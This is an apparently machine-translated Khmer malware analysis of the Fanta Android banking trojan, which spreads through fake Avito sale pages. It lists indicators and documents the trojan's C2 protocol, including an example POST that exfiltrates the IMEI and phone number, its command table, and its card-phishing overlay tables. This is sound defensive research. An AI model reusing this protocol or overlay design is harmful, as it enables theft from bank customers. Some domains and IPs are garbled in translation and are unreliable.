Leisya, Fanta៖ យុទ្ធសាស្ត្រថ្មីរបស់ Android Trojan ចាស់

ថ្ងៃមួយអ្នកចង់លក់អ្វីមួយនៅលើ Avito ហើយដោយបានបង្ហោះការពិពណ៌នាលម្អិតនៃផលិតផលរបស់អ្នក (ឧទាហរណ៍ ម៉ូឌុល RAM) អ្នកនឹងទទួលបានសារនេះ៖

នៅពេលអ្នកបើកតំណ អ្នកនឹងឃើញទំព័រដែលហាក់ដូចជាគ្មានកំហុស ជូនដំណឹងដល់អ្នក អ្នកលក់ដែលសប្បាយចិត្ត និងជោគជ័យថាការទិញត្រូវបានធ្វើឡើង៖

នៅពេលអ្នកចុចប៊ូតុង "បន្ត" ឯកសារ APK ដែលមានរូបតំណាង និងឈ្មោះគួរឱ្យទុកចិត្តនឹងត្រូវបានទាញយកទៅឧបករណ៍ Android របស់អ្នក។ អ្នកបានដំឡើងកម្មវិធីដែលទាមទារសិទ្ធិសេវាកម្មភាពងាយស្រួល ក្រោយមកបង្អួចពីរបីបានលេចចេញ ហើយបាត់ទៅវិញយ៉ាងរហ័ស ហើយ... នោះហើយជាវា។

អ្នកទៅពិនិត្យមើលសមតុល្យរបស់អ្នក ប៉ុន្តែសម្រាប់ហេតុផលមួយចំនួនកម្មវិធីធនាគាររបស់អ្នកសុំព័ត៌មានលម្អិតអំពីកាតរបស់អ្នកម្តងទៀត។ បន្ទាប់ពីបញ្ចូលទិន្នន័យ មានអ្វីដ៏គួរឱ្យភ័យខ្លាចកើតឡើង៖ សម្រាប់ហេតុផលមួយចំនួននៅតែមិនច្បាស់លាស់ចំពោះអ្នក លុយចាប់ផ្តើមបាត់ពីគណនីរបស់អ្នក។ អ្នកកំពុងព្យាយាមដោះស្រាយបញ្ហា ប៉ុន្តែទូរសព្ទរបស់អ្នកទប់ទល់៖ វាចុចគ្រាប់ចុច "ថយក្រោយ" និង "ផ្ទះ" មិនបិទ និងមិនអនុញ្ញាតឱ្យអ្នកធ្វើសកម្មភាពវិធានការសុវត្ថិភាពណាមួយឡើយ។ ជាលទ្ធផលអ្នកត្រូវបានទុកចោលដោយគ្មានលុយទំនិញរបស់អ្នកមិនត្រូវបានទិញអ្នកមានការភ័ន្តច្រឡំហើយឆ្ងល់ថាតើមានអ្វីកើតឡើង?

ចម្លើយគឺសាមញ្ញ៖ អ្នកបានក្លាយជាជនរងគ្រោះនៃ Android Trojan Fanta ដែលជាសមាជិកនៃគ្រួសារ Flexnet ។ តើរឿងនេះកើតឡើងដោយរបៀបណា? ចូរយើងពន្យល់ឥឡូវនេះ។

អ្នកនិពន្ធ៖ Andrey Polovinkinអ្នកឯកទេសវ័យក្មេងក្នុងការវិភាគមេរោគ, លោក Ivan Pisarevអ្នកឯកទេសក្នុងការវិភាគមេរោគ។

ស្ថិតិខ្លះ

គ្រួសារ Flexnet នៃ Android Trojans ត្រូវបានគេស្គាល់ជាលើកដំបូងនៅឆ្នាំ 2015 ។ ក្នុង​រយៈ​ពេល​ដ៏​យូរ​នៃ​សកម្មភាព គ្រួសារ​បាន​ពង្រីក​ទៅ​ប្រភេទ​រង​មួយ​ចំនួន៖ Fanta, Limebot, Lipton ជាដើម។ Trojan ក៏ដូចជាហេដ្ឋារចនាសម្ព័ន្ធដែលជាប់ទាក់ទងជាមួយវាមិននៅស្ងៀមទេ៖ គ្រោងការណ៍ចែកចាយដ៏មានប្រសិទ្ធភាពថ្មីកំពុងត្រូវបានបង្កើតឡើង - ក្នុងករណីរបស់យើង ទំព័របន្លំដែលមានគុណភាពខ្ពស់ដែលផ្តោតលើអ្នកប្រើប្រាស់-អ្នកលក់ជាក់លាក់ ហើយអ្នកអភិវឌ្ឍន៍ Trojan ធ្វើតាមនិន្នាការទាន់សម័យនៅក្នុង ការសរសេរមេរោគ - បន្ថែមមុខងារថ្មីដែលធ្វើឱ្យវាអាចលួចលុយកាន់តែមានប្រសិទ្ធភាពពីឧបករណ៍ដែលមានមេរោគ និងចៀសវៀងយន្តការការពារ។

យុទ្ធនាការដែលបានពិពណ៌នានៅក្នុងអត្ថបទនេះគឺសំដៅលើអ្នកប្រើប្រាស់មកពីប្រទេសរុស្ស៊ីមួយចំនួនតូចនៃឧបករណ៍ដែលមានមេរោគត្រូវបានកត់ត្រានៅក្នុងអ៊ុយក្រែន ហើយសូម្បីតែតិចជាងនេះនៅក្នុងប្រទេសកាហ្សាក់ស្ថាន និងបេឡារុស្ស។

ទោះបីជា Flexnet បាននៅក្នុងសង្វៀន Android Trojan អស់រយៈពេលជាង 4 ឆ្នាំមកហើយ ហើយត្រូវបានសិក្សាលម្អិតដោយអ្នកស្រាវជ្រាវជាច្រើនក៏ដោយ ក៏វានៅតែស្ថិតក្នុងស្ថានភាពល្អ។ ចាប់ពីខែមករាឆ្នាំ 2019 ចំនួនទឹកប្រាក់នៃការខូចខាតដែលអាចកើតមានគឺច្រើនជាង 35 លានរូប្លិ៍ - ហើយនេះគឺសម្រាប់តែយុទ្ធនាការនៅក្នុងប្រទេសរុស្ស៊ីប៉ុណ្ណោះ។ នៅឆ្នាំ 2015 កំណែផ្សេងៗនៃ Android Trojan នេះត្រូវបានលក់នៅលើវេទិការក្រោមដី ដែលកូដប្រភពនៃ Trojan ជាមួយនឹងការពិពណ៌នាលម្អិតក៏អាចត្រូវបានរកឃើញផងដែរ។ នេះមានន័យថាស្ថិតិនៃការខូចខាតនៅលើពិភពលោកគឺកាន់តែគួរអោយចាប់អារម្មណ៍។ មិនមែនជាសូចនាករអាក្រក់សម្រាប់បុរសចំណាស់បែបនេះទេ មែនទេ?

ពីការលក់ទៅបោកបញ្ឆោត

ដូចដែលអាចមើលឃើញពីរូបថតអេក្រង់ដែលបានបង្ហាញពីមុននៃទំព័របន្លំសម្រាប់សេវាអ៊ីនធឺណិតសម្រាប់ការផ្សាយពាណិជ្ជកម្ម Avito វាត្រូវបានរៀបចំសម្រាប់ជនរងគ្រោះជាក់លាក់។ ជាក់ស្តែង អ្នកវាយប្រហារប្រើប្រាស់ឧបករណ៍ញែកមួយរបស់ Avito ដែលទាញយកលេខទូរស័ព្ទ និងឈ្មោះរបស់អ្នកលក់ ក៏ដូចជាការពិពណ៌នាផលិតផលផងដែរ។ បន្ទាប់ពីពង្រីកទំព័រ និងរៀបចំឯកសារ APK ជនរងគ្រោះត្រូវបានផ្ញើសារ SMS ជាមួយឈ្មោះរបស់គាត់ និងតំណភ្ជាប់ទៅកាន់ទំព័របន្លំដែលមានការពិពណ៌នាអំពីផលិតផលរបស់គាត់ និងចំនួនទឹកប្រាក់ដែលទទួលបានពី "ការលក់" នៃផលិតផល។ ដោយចុចលើប៊ូតុង អ្នកប្រើប្រាស់ទទួលបានឯកសារ APK ព្យាបាទ - Fanta ។

ការសិក្សាអំពីដែន shcet491[.]ru បានបង្ហាញថាវាត្រូវបានផ្ទេរទៅឱ្យម៉ាស៊ីនមេ DNS របស់ Hostinger៖

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

ឯកសារតំបន់ដែនមានធាតុដែលចង្អុលទៅអាសយដ្ឋាន IP 31.220.23[.]236, 31.220.23[.]243, និង 31.220.23[.]235។ ទោះជាយ៉ាងណាក៏ដោយ កំណត់ត្រាធនធានចម្បងរបស់ដែន (A record) ចង្អុលទៅម៉ាស៊ីនមេដែលមានអាសយដ្ឋាន IP 178.132.1[.]240។

អាសយដ្ឋាន IP 178.132.1[.]240 មានទីតាំងនៅប្រទេសហូឡង់ ហើយជាកម្មសិទ្ធិរបស់ម្ចាស់ផ្ទះ ស្ទ្រីមពិភពលោក. អាសយដ្ឋាន IP 31.220.23[.]235, 31.220.23[.]236 និង 31.220.23[.]243 មានទីតាំងនៅចក្រភពអង់គ្លេស និងជាកម្មសិទ្ធិរបស់ម៉ាស៊ីនមេចែករំលែក HOSTINGER ។ ប្រើជាឧបករណ៍ថតសំឡេង openprov-ru. ដែនខាងក្រោមក៏បានដោះស្រាយទៅអាសយដ្ឋាន IP 178.132.1[.]240៖

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

វាគួរតែត្រូវបានកត់សម្គាល់ថាតំណភ្ជាប់ក្នុងទម្រង់ខាងក្រោមអាចរកបានពីស្ទើរតែគ្រប់ដែន៖

http://(www.){0,1}<%domain%>/[0-9]{7}

គំរូនេះក៏រួមបញ្ចូលតំណភ្ជាប់ពីសារ SMS ផងដែរ។ ដោយផ្អែកលើទិន្នន័យប្រវត្តិសាស្រ្ត វាត្រូវបានគេរកឃើញថាដែនមួយត្រូវគ្នាទៅនឹងតំណភ្ជាប់ជាច្រើននៅក្នុងលំនាំដែលបានពិពណ៌នាខាងលើ ដែលបង្ហាញថាដែនមួយត្រូវបានប្រើដើម្បីចែកចាយ Trojan ទៅកាន់ជនរងគ្រោះជាច្រើន។

ចូរលោតទៅមុខបន្តិច៖ Trojan ដែលបានទាញយកតាមរយៈតំណភ្ជាប់ពីសារ SMS ប្រើអាសយដ្ឋានជាម៉ាស៊ីនមេគ្រប់គ្រង onusedseddohap[.]ក្លឹប. ដែននេះត្រូវបានចុះឈ្មោះនៅថ្ងៃទី 2019-03-12 ហើយចាប់ផ្តើមពីឆ្នាំ 2019-04-29 កម្មវិធី APK បានធ្វើអន្តរកម្មជាមួយដែននេះ។ ផ្អែកលើទិន្នន័យដែលទទួលបានពី VirusTotal កម្មវិធីសរុបចំនួន 109 បានធ្វើអន្តរកម្មជាមួយម៉ាស៊ីនមេនេះ។ ដែនខ្លួនឯងបានដោះស្រាយទៅអាសយដ្ឋាន IP ១១៥.១៤៤.៦៩[.]១០៨មានទីតាំងនៅប្រទេសហូឡង់ និងជាកម្មសិទ្ធិរបស់ម្ចាស់ផ្ទះ ស្ទ្រីមពិភពលោក. ប្រើជាឧបករណ៍ថតសំឡេង ឈ្មោះថោក. ដែនក៏បានដោះស្រាយចំពោះអាសយដ្ឋាន IP នេះផងដែរ។ ក្លឹប bad-racoon[.] (ចាប់ផ្តើមពី 2018-09-25) និង bad-racoon[.] រស់នៅ (ចាប់ផ្តើមពីឆ្នាំ ២០១៨-១០-២៥)។ ជាមួយដែន ក្លឹប bad-racoon[.] ឯកសារ APK ជាង 80 បានធ្វើអន្តរកម្មជាមួយ bad-racoon[.] រស់នៅ - ច្រើនជាង 100 ។

ជាទូទៅ ការវាយប្រហារមានដំណើរការដូចខាងក្រោម៖

តើមានអ្វីនៅក្រោមគម្របរបស់ Fanta?

ដូចមេរោគ Android Trojan ជាច្រើនផ្សេងទៀត Fanta មានសមត្ថភាពអាន និងផ្ញើសារ SMS បង្កើតសំណើ USSD និងបង្ហាញបង្អួចផ្ទាល់ខ្លួនរបស់វានៅលើកំពូលនៃកម្មវិធី (រួមទាំងធនាគារ)។ ទោះជាយ៉ាងណាក៏ដោយឃ្លាំងមុខងារនៃគ្រួសារនេះបានមកដល់ហើយ: Fanta បានចាប់ផ្តើមប្រើ សេវាភាពងាយស្រួល សម្រាប់គោលបំណងផ្សេងៗ៖ អានខ្លឹមសារនៃការជូនដំណឹងពីកម្មវិធីផ្សេងៗ ការពារការរកឃើញ និងបញ្ឈប់ការប្រតិបត្តិ Trojan នៅលើឧបករណ៍ដែលមានមេរោគ។ល។ Fanta ដំណើរការលើកំណែទាំងអស់របស់ Android មិនតិចជាង 4.4 ទេ។ នៅក្នុងអត្ថបទនេះ យើងនឹងពិនិត្យមើលឱ្យបានដិតដល់នូវគំរូ Fanta ខាងក្រោម៖

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

ភ្លាមៗបន្ទាប់ពីការបើកដំណើរការ

ភ្លាមៗបន្ទាប់ពីការបើកដំណើរការ Trojan លាក់រូបតំណាងរបស់វា។ កម្មវិធីអាចដំណើរការបានលុះត្រាតែឈ្មោះឧបករណ៍ដែលមានមេរោគមិនមាននៅក្នុងបញ្ជី៖

• Android_x86
• VirtualBox
• Nexus 5X (ក្បាលគ្រាប់)
• Nexus 5 (ឡាម)

ការត្រួតពិនិត្យនេះត្រូវបានអនុវត្តនៅក្នុងសេវាកម្មសំខាន់របស់ Trojan - សេវាចម្បង. នៅពេលបើកដំណើរការជាលើកដំបូង ប៉ារ៉ាម៉ែត្រកំណត់រចនាសម្ព័ន្ធរបស់កម្មវិធីត្រូវបានចាប់ផ្តើមទៅជាតម្លៃលំនាំដើម (ទម្រង់សម្រាប់រក្សាទុកទិន្នន័យការកំណត់រចនាសម្ព័ន្ធ និងអត្ថន័យរបស់វានឹងត្រូវបានពិភាក្សានៅពេលក្រោយ) ហើយឧបករណ៍ដែលមានមេរោគថ្មីត្រូវបានចុះឈ្មោះនៅលើម៉ាស៊ីនមេបញ្ជា។ សំណើ HTTP POST ដែលមានប្រភេទសារនឹងត្រូវបានផ្ញើទៅម៉ាស៊ីនមេ ចុះឈ្មោះ_bot និងព័ត៌មានអំពីឧបករណ៍ដែលមានមេរោគ (កំណែ Android, IMEI, លេខទូរស័ព្ទ, ឈ្មោះប្រតិបត្តិករ និងលេខកូដប្រទេសដែលប្រតិបត្តិករត្រូវបានចុះឈ្មោះ)។ អាសយដ្ឋានបម្រើជាម៉ាស៊ីនមេគ្រប់គ្រង hXXp://onuseseddohap[.]club/controller.php. ជាការឆ្លើយតប ម៉ាស៊ីនមេផ្ញើសារដែលមានវាល bot_id, bot_pwd, ម៉ាស៊ីនបម្រើ - កម្មវិធីរក្សាទុកតម្លៃទាំងនេះជាប៉ារ៉ាម៉ែត្រនៃម៉ាស៊ីនមេ CnC ។ ប៉ារ៉ាម៉ែត្រ ម៉ាស៊ីនបម្រើ ជាជម្រើស ប្រសិនបើវាលមិនត្រូវបានទទួល៖ Fanta ប្រើអាសយដ្ឋានចុះឈ្មោះ - hXXp://onuseseddohap[.]club/controller.php. មុខងារនៃការផ្លាស់ប្តូរអាស័យដ្ឋាន CnC អាចត្រូវបានប្រើដើម្បីដោះស្រាយបញ្ហាពីរ៖ ដើម្បីចែកចាយបន្ទុកស្មើៗគ្នារវាងម៉ាស៊ីនមេជាច្រើន (ប្រសិនបើមានឧបករណ៍ឆ្លងមេរោគច្រើន ការផ្ទុកនៅលើម៉ាស៊ីនមេគេហទំព័រដែលមិនដំណើរការអាចឡើងខ្ពស់) ហើយក៏ត្រូវប្រើផងដែរ។ ម៉ាស៊ីនមេជំនួសនៅក្នុងករណីនៃការបរាជ័យនៃម៉ាស៊ីនមេ CnC មួយ។

ប្រសិនបើមានកំហុសកើតឡើងនៅពេលផ្ញើសំណើនោះ Trojan នឹងដំណើរការចុះឈ្មោះម្តងទៀតបន្ទាប់ពី 20 វិនាទី។

នៅពេលដែលឧបករណ៍នេះត្រូវបានចុះឈ្មោះដោយជោគជ័យ Fanta នឹងបង្ហាញសារខាងក្រោមទៅកាន់អ្នកប្រើប្រាស់៖

ចំណាំសំខាន់៖ សេវាកម្មបានហៅ សន្តិសុខប្រព័ន្ធ - ឈ្មោះសេវាកម្ម Trojan ហើយបន្ទាប់ពីចុចប៊ូតុង យល់ព្រម បង្អួចនឹងបើកជាមួយនឹងការកំណត់លទ្ធភាពប្រើប្រាស់នៃឧបករណ៍ដែលមានមេរោគ ដែលអ្នកប្រើប្រាស់ត្រូវតែផ្តល់សិទ្ធិភាពងាយស្រួលសម្រាប់សេវាកម្មព្យាបាទ៖

ដរាបណាអ្នកប្រើប្រាស់បើក សេវាភាពងាយស្រួលFanta ទទួលបានសិទ្ធិចូលប្រើមាតិកានៃបង្អួចកម្មវិធី និងសកម្មភាពដែលបានអនុវត្តនៅក្នុងពួកវា៖

ភ្លាមៗបន្ទាប់ពីទទួលបានសិទ្ធិលទ្ធភាពប្រើប្រាស់ Trojan ស្នើសុំសិទ្ធិអ្នកគ្រប់គ្រង និងសិទ្ធិក្នុងការអានការជូនដំណឹង៖

ដោយប្រើសេវាកម្មមធ្យោបាយងាយស្រួល កម្មវិធីនេះក្លែងធ្វើការចុចគ្រាប់ចុច ដោយផ្តល់ឱ្យខ្លួនវានូវសិទ្ធិចាំបាច់ទាំងអស់។

Fanta បង្កើតឧទាហរណ៍មូលដ្ឋានទិន្នន័យជាច្រើន (ដែលនឹងត្រូវបានពិពណ៌នានៅពេលក្រោយ) ដែលចាំបាច់ដើម្បីរក្សាទុកទិន្នន័យការកំណត់រចនាសម្ព័ន្ធ ក៏ដូចជាព័ត៌មានដែលប្រមូលបាននៅក្នុងដំណើរការអំពីឧបករណ៍ដែលមានមេរោគ។ ដើម្បីផ្ញើព័ត៌មានដែលប្រមូលបាន Trojan បង្កើតកិច្ចការដដែលៗដែលត្រូវបានរចនាឡើងដើម្បីទាញយកវាលពីមូលដ្ឋានទិន្នន័យ និងទទួលពាក្យបញ្ជាពីម៉ាស៊ីនមេបញ្ជា។ ចន្លោះពេលសម្រាប់ការចូលប្រើ CnC ត្រូវបានកំណត់អាស្រ័យលើកំណែ Android៖ ក្នុងករណី 5.1 ចន្លោះពេលនឹងមាន 10 វិនាទី បើមិនដូច្នេះទេ 60 វិនាទី។

ដើម្បីទទួលបានពាក្យបញ្ជា Fanta ធ្វើសំណើ GetTask ទៅម៉ាស៊ីនមេគ្រប់គ្រង។ ជាការឆ្លើយតប CnC អាចផ្ញើពាក្យបញ្ជាមួយក្នុងចំណោមពាក្យបញ្ជាខាងក្រោម៖

ក្រុមការងារ	បរិយាយ
0	ផ្ញើសារ SMS
1	ធ្វើការហៅទូរសព្ទ ឬបញ្ជា USSD
2	ធ្វើបច្ចុប្បន្នភាពប៉ារ៉ាម៉ែត្រ ចន្លោះពេល
3	ធ្វើបច្ចុប្បន្នភាពប៉ារ៉ាម៉ែត្រ ស្ទាក់ចាប់
6	ធ្វើបច្ចុប្បន្នភាពប៉ារ៉ាម៉ែត្រ smsManager
9	ចាប់ផ្តើមប្រមូលសារ SMS
11	កំណត់ទូរស័ព្ទរបស់អ្នកឡើងវិញទៅការកំណត់របស់រោងចក្រ
12	បើក/បិទការកត់ត្រាការបង្កើតប្រអប់

Fanta ក៏ប្រមូលការជូនដំណឹងពីកម្មវិធីធនាគារចំនួន 70 ប្រព័ន្ធទូទាត់រហ័ស និងកាបូបអេឡិចត្រូនិក ហើយរក្សាទុកវានៅក្នុងមូលដ្ឋានទិន្នន័យ។

ការរក្សាទុកប៉ារ៉ាម៉ែត្រកំណត់រចនាសម្ព័ន្ធ

ដើម្បីរក្សាទុកប៉ារ៉ាម៉ែត្រកំណត់រចនាសម្ព័ន្ធ Fanta ប្រើវិធីសាស្រ្តស្តង់ដារសម្រាប់ប្រព័ន្ធប្រតិបត្តិការ Android - ចំណង់​ចំណូល​ចិត្ត- ឯកសារ។ ការកំណត់នឹងត្រូវបានរក្សាទុកទៅក្នុងឯកសារដែលមានឈ្មោះ ការកំណត់. ការពិពណ៌នាអំពីប៉ារ៉ាម៉ែត្រដែលបានរក្សាទុកគឺនៅក្នុងតារាងខាងក្រោម។

ឈ្មោះ	តម្លៃ​លំនាំដើម	តម្លៃដែលអាចមាន	បរិយាយ
id	0	លេខគត់	លេខសម្គាល់បូត
ម៉ាស៊ីនបម្រើ	hXXp://onuseseddohap[.]club/	URL	គ្រប់គ្រងអាសយដ្ឋានម៉ាស៊ីនមេ
pwd	-	ខ្សែអក្សរ	ពាក្យសម្ងាត់ម៉ាស៊ីនមេ
ចន្លោះពេល	20	លេខគត់	ចន្លោះ​ពេល។ បង្ហាញពីរយៈពេលដែលការងារខាងក្រោមគួរត្រូវបានពន្យារពេល៖ នៅពេលផ្ញើសំណើអំពីស្ថានភាពនៃសារ SMS ដែលបានផ្ញើ ការទទួលពាក្យបញ្ជាថ្មីពីម៉ាស៊ីនមេគ្រប់គ្រង
ស្ទាក់ចាប់	ទាំងអស់	ទាំងអស់/លេខទូរសព្ទ	ប្រសិនបើវាលស្មើនឹងខ្សែអក្សរ ទាំងអស់ ឬ លេខទូរសព្ទបន្ទាប់មកសារ SMS ដែលទទួលបាននឹងត្រូវបានស្ទាក់ចាប់ដោយកម្មវិធី និងមិនបង្ហាញដល់អ្នកប្រើប្រាស់
smsManager	0	0/1	បើក/បិទកម្មវិធីជាអ្នកទទួលសារ SMS លំនាំដើម
ប្រអប់អាន	មិនពិត	ត្រូវ​ខុស	បើក/បិទការកត់ត្រាព្រឹត្តិការណ៍ ព្រឹត្តិការណ៍ភាពងាយស្រួល

Fanta ក៏ប្រើឯកសារផងដែរ។ smsManager:

ឈ្មោះ	តម្លៃ​លំនាំដើម	តម្លៃដែលអាចមាន	បរិយាយ
pckg	-	ខ្សែអក្សរ	ឈ្មោះកម្មវិធីគ្រប់គ្រងសារ SMS ត្រូវបានប្រើប្រាស់

អន្តរកម្មជាមួយមូលដ្ឋានទិន្នន័យ

ក្នុងអំឡុងពេលប្រតិបត្តិការរបស់វា Trojan ប្រើមូលដ្ឋានទិន្នន័យពីរ។ មូលដ្ឋានទិន្នន័យមានឈ្មោះ a ប្រើសម្រាប់រក្សាទុកព័ត៌មានផ្សេងៗដែលប្រមូលបានពីទូរសព្ទ។ មូលដ្ឋានទិន្នន័យទីពីរមានឈ្មោះ fanta.db ហើយ​ត្រូវ​បាន​ប្រើ​ដើម្បី​រក្សា​ទុក​ការ​កំណត់​ដែល​ទទួល​ខុស​ត្រូវ​សម្រាប់​ការ​បង្កើត​បង្អួច​បន្លំ​ដែល​បាន​រចនា​ឡើង​ដើម្បី​ប្រមូល​ព័ត៌មាន​អំពី​កាត​ធនាគារ។

Trojan ប្រើមូលដ្ឋានទិន្នន័យ а ដើម្បីរក្សាទុកព័ត៌មានដែលប្រមូលបាន និងកត់ត្រាសកម្មភាពរបស់អ្នក។ ទិន្នន័យត្រូវបានរក្សាទុកក្នុងតារាង កំណត់ហេតុ. ដើម្បីបង្កើតតារាង ប្រើសំណួរ SQL ខាងក្រោម៖

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

មូលដ្ឋានទិន្នន័យមានព័ត៌មានដូចខាងក្រោមៈ

1. កត់ត្រាការចាប់ផ្តើមឧបករណ៍ដែលមានមេរោគជាមួយនឹងសារមួយ។ ទូរស័ព្ទបានបើក!

2. ការជូនដំណឹងពីកម្មវិធី។ សារត្រូវបានបង្កើតតាមគំរូខាងក្រោម៖

(<%App Name%>)<%Title%>: <%Notification text%>

3. ទិន្នន័យកាតធនាគារពីទម្រង់បន្លំដែលបង្កើតឡើងដោយ Trojan ។ ប៉ារ៉ាម៉ែត្រ VIEW_NAME អាចជាផ្នែកមួយដូចខាងក្រោម៖

• AliExpress
• Avito
• ក្រុមហ៊ុន google លេង
• ផ្សេងៗ <%ឈ្មោះកម្មវិធី%>

សារត្រូវបានចូលជាទម្រង់៖

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. សារ SMS ចូល/ចេញជាទម្រង់៖

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. ព័ត៌មានអំពីកញ្ចប់ដែលបង្កើតប្រអប់ក្នុងទម្រង់៖

(<%Package name%>)<%Package information%>

តារាងឧទាហរណ៍ កំណត់ហេតុ:

មុខងារមួយរបស់ Fanta គឺការប្រមូលព័ត៌មានអំពីកាតធនាគារ។ ការប្រមូលទិន្នន័យកើតឡើងតាមរយៈការបង្កើតបង្អួចបន្លំនៅពេលបើកកម្មវិធីធនាគារ។ Trojan បង្កើតបង្អួចបន្លំតែម្តងប៉ុណ្ណោះ។ ព័ត៌មានដែលបង្អួចត្រូវបានបង្ហាញដល់អ្នកប្រើប្រាស់ត្រូវបានរក្សាទុកក្នុងតារាងមួយ។ ការកំណត់ នៅក្នុងមូលដ្ឋានទិន្នន័យ fanta.db. ដើម្បីបង្កើតមូលដ្ឋានទិន្នន័យ សូមប្រើសំណួរ SQL ខាងក្រោម៖

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

វាលតារាងទាំងអស់។ ការកំណត់ តាមលំនាំដើមបានចាប់ផ្ដើមទៅ 1 (បង្កើតបង្អួចបន្លំ)។ បន្ទាប់​ពី​អ្នក​ប្រើ​បញ្ចូល​ទិន្នន័យ​របស់​ពួក​គេ តម្លៃ​នឹង​ត្រូវ​បាន​កំណត់​ទៅ 0 ។ ឧទាហរណ៍​នៃ​តារាង​វាល ការកំណត់:

• can_login — វាលទទួលខុសត្រូវក្នុងការបង្ហាញទម្រង់នៅពេលបើកកម្មវិធីធនាគារ
• first_bank - មិនប្រើ
• can_avito — វាលទទួលខុសត្រូវក្នុងការបង្ហាញទម្រង់នៅពេលបើកកម្មវិធី Avito
• can_ali - វាលទទួលខុសត្រូវក្នុងការបង្ហាញទម្រង់នៅពេលបើកកម្មវិធី Aliexpress
• can_មួយផ្សេងទៀត - វាលទទួលខុសត្រូវក្នុងការបង្ហាញទម្រង់នៅពេលបើកកម្មវិធីណាមួយពីបញ្ជី៖ Yula, Pandao, Drom Auto, កាបូប។ ប័ណ្ណបញ្ចុះតម្លៃ និងប្រាក់រង្វាន់, Aviasale, ការកក់, Trivago
• can_card — វាលគឺទទួលខុសត្រូវក្នុងការបង្ហាញទម្រង់នៅពេលបើក ក្រុមហ៊ុន google លេង

អន្តរកម្មជាមួយម៉ាស៊ីនមេគ្រប់គ្រង

អន្តរកម្មបណ្តាញជាមួយម៉ាស៊ីនមេគ្រប់គ្រងកើតឡើងតាមរយៈពិធីការ HTTP ។ ដើម្បីធ្វើការជាមួយបណ្តាញ Fanta ប្រើបណ្ណាល័យ Retrofit ដ៏ពេញនិយម។ សំណើត្រូវបានផ្ញើទៅ៖ hXXp://onuseseddohap[.]club/controller.php. អាសយដ្ឋានម៉ាស៊ីនមេអាចត្រូវបានផ្លាស់ប្តូរនៅពេលចុះឈ្មោះនៅលើម៉ាស៊ីនមេ។ ខូឃីអាចត្រូវបានផ្ញើជាការឆ្លើយតបពីម៉ាស៊ីនមេ។ Fanta ធ្វើសំណើខាងក្រោមទៅកាន់ម៉ាស៊ីនមេ៖

• ការចុះឈ្មោះបូតនៅលើម៉ាស៊ីនមេគ្រប់គ្រងកើតឡើងម្តង នៅពេលបើកដំណើរការដំបូង។ ទិន្នន័យខាងក្រោមអំពីឧបករណ៍ដែលឆ្លងមេរោគត្រូវបានផ្ញើទៅកាន់ម៉ាស៊ីនមេ៖
  · ខូគី - ខូគីដែលទទួលបានពីម៉ាស៊ីនមេ (តម្លៃលំនាំដើមគឺជាខ្សែអក្សរទទេ)
  · របៀប - ខ្សែអក្សរថេរ ចុះឈ្មោះ_bot
  · បុព្វបទ - ចំនួនថេរ 2
  · version_sdk - ត្រូវបានបង្កើតឡើងតាមគំរូខាងក្រោម៖ <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · IMEI - IMEI នៃឧបករណ៍ដែលមានមេរោគ
  · ប្រទេស - លេខកូដនៃប្រទេសដែលប្រតិបត្តិករត្រូវបានចុះឈ្មោះក្នុងទម្រង់ ISO
  · លេខ - លេខទូរសព្ទ
  · ប្រតិបត្តិករ - ឈ្មោះប្រតិបត្តិករ

  ឧទាហរណ៍នៃសំណើដែលបានផ្ញើទៅម៉ាស៊ីនមេ៖

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  ដើម្បីឆ្លើយតបទៅនឹងសំណើនោះ ម៉ាស៊ីនមេត្រូវតែត្រឡប់វត្ថុ JSON ដែលមានប៉ារ៉ាម៉ែត្រខាងក្រោម៖
  · bot_id - លេខសម្គាល់ឧបករណ៍ដែលមានមេរោគ។ ប្រសិនបើ bot_id ស្មើ 0 នោះ Fanta នឹងដំណើរការសំណើឡើងវិញ។
  bot_pwd - ពាក្យសម្ងាត់សម្រាប់ម៉ាស៊ីនមេ។
  ម៉ាស៊ីនមេ - គ្រប់គ្រងអាសយដ្ឋានម៉ាស៊ីនមេ។ ប៉ារ៉ាម៉ែត្រស្រេចចិត្ត។ ប្រសិនបើប៉ារ៉ាម៉ែត្រមិនត្រូវបានបញ្ជាក់ អាសយដ្ឋានដែលបានរក្សាទុកក្នុងកម្មវិធីនឹងត្រូវបានប្រើ។

  ឧទាហរណ៍វត្ថុ JSON៖

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• ស្នើសុំទទួលពាក្យបញ្ជាពីម៉ាស៊ីនមេ។ ទិន្នន័យខាងក្រោមត្រូវបានផ្ញើទៅកាន់ម៉ាស៊ីនមេ៖
  · ខូគី - ខូគីបានទទួលពីម៉ាស៊ីនមេ
  · ដេញថ្លៃ - លេខសម្គាល់ឧបករណ៍ដែលមានមេរោគដែលបានទទួលនៅពេលផ្ញើសំណើ ចុះឈ្មោះ_bot
  · pwd - ពាក្យសម្ងាត់សម្រាប់ម៉ាស៊ីនមេ
